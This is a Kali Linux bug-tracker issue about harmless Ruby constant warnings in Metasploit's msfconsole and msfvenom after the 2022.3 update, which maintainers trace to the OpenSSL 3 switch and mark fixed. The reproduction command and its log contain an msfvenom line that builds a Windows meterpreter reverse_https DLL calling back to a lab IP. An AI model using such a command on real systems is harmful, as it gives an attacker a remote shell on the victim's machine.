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IDProjectCategoryView StatusDate SubmittedLast Update
0007863Kali LinuxGeneral Bugpublic2022-08-12 18:242022-09-09 06:36
Reportermccurity Assigned Tosbrun  
PrioritynormalSeverityminorReproducibilityalways
Status resolvedResolutionfixed 
Product Version2022.3 
Summary0007863: msf warnings: already initialized constant
Description

When running msfvenom or msfconsole I receive warning about already initialized constants similar to this:

└─$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.244 LPORT=443 -f dll -o OffSec/OSCE/Module05/5.2.dll
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME

More details are available in attachments. This began after updating to 2022.3 this week.

Steps To Reproduce

msfvenom <plus options>

  • or -
    msfconsole
Attached Files
msfconsole.txt (5,073 bytes)    
└─$ msfconsole                                                                                                                                     
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
                                                  
                                   ____________
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                    
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                    
 [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]                                                                    
 [% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%]                                                                    
 [% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%]                                                                    
 [% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%]                                                                    
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                    
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                    
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                    
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                    
                                                                                                                                                   

       =[ metasploit v6.2.11-dev                          ]
+ -- --=[ 2233 exploits - 1179 auxiliary - 398 post       ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: After running db_nmap, be sure to 
check out the result of hosts and services

msf6 >
msfconsole.txt (5,073 bytes)   
msfvenom.txt (3,291 bytes)    
└─$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.244 LPORT=443 -f dll -o OffSec/OSCE/Module05/5.2.dll                        
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 619 bytes
Final size of dll file: 8704 bytes
Saved as: OffSec/OSCE/Module05/5.2.dll
msfvenom.txt (3,291 bytes)   

Relationships

Relationship GraphDependency Graph
related to 0007804 resolvedsbrun msfsconsole, msfvenom crashing on newst kali 

Activities

X0RW3LL

X0RW3LL

2022-08-12 18:58

reporter   ~0016539

These are warnings that don't affect core functionality, and that's the current intended behavior.
kali-bugreport

kali-bugreport

2022-08-13 19:51

reporter   ~0016540

And even if it would be an error it probably would need be reported to upstream via https://github.com/rapid7/metasploit-framework/issues anyway.
sbrun

sbrun

2022-08-26 07:15

manager   ~0016650

Thanks for the report.

The Metasploit Warning messages are "just" warnings: they can be ignored, you can use the tool. FYI msfconsole was broken because Debian / Kali switched to OpenSSL 3. So upstream patched the tool and they are now working to update and fix everything for OpenSSL 3.

Please see upstream issues:

https://github.com/rapid7/metasploit-framework/issues/16818
https://github.com/rapid7/metasploit-framework/pull/16800
adfoster-r7

adfoster-r7

2022-09-03 03:30

reporter   ~0016698

This can be closed now; It's been fixed by https://github.com/rapid7/metasploit-framework/pull/16935 - and available in version 6.2.14 of Metasploit.

Latest metasploit-framework install with Kali now works as expected:

┌──(kali㉿kali)-[~]
└─$ msfconsole

IIIIII dTb.dTb .---.
II 4' v 'B .'"".'/|`.""'.
II 6. .P : .' / | \ . : II 'T;. .;P' '.' / | \.'
II 'T; ;P' . / | \ .' IIIIII 'YvP'-.|.-'

I love shells --egypt

   =[ metasploit v6.2.14-dev                          ]
  • -- --=[ 2240 exploits - 1181 auxiliary - 398 post ]
  • -- --=[ 867 payloads - 45 encoders - 11 nops ]
  • -- --=[ 9 evasion ]

Metasploit tip: Open an interactive Ruby terminal with
irb

msf6 >
arnaudr

arnaudr

2022-09-09 06:36

manager   ~0016714

Closing then, thanks everyone!

Issue History

Date Modified Username Field Change
2022-08-12 18:24 mccurity New Issue
2022-08-12 18:24 mccurity File Added: msfconsole.txt
2022-08-12 18:24 mccurity File Added: msfvenom.txt
2022-08-12 18:58 X0RW3LL Note Added: 0016539
2022-08-13 19:51 kali-bugreport Note Added: 0016540
2022-08-26 07:14 sbrun Relationship added related to 0007804
2022-08-26 07:15 sbrun Note Added: 0016650
2022-08-26 07:15 sbrun Assigned To => sbrun
2022-08-26 07:15 sbrun Status new => confirmed
2022-09-03 03:30 adfoster-r7 Note Added: 0016698
2022-09-09 06:36 arnaudr Note Added: 0016714
2022-09-09 06:36 arnaudr Status confirmed => resolved
2022-09-09 06:36 arnaudr Resolution open => fixed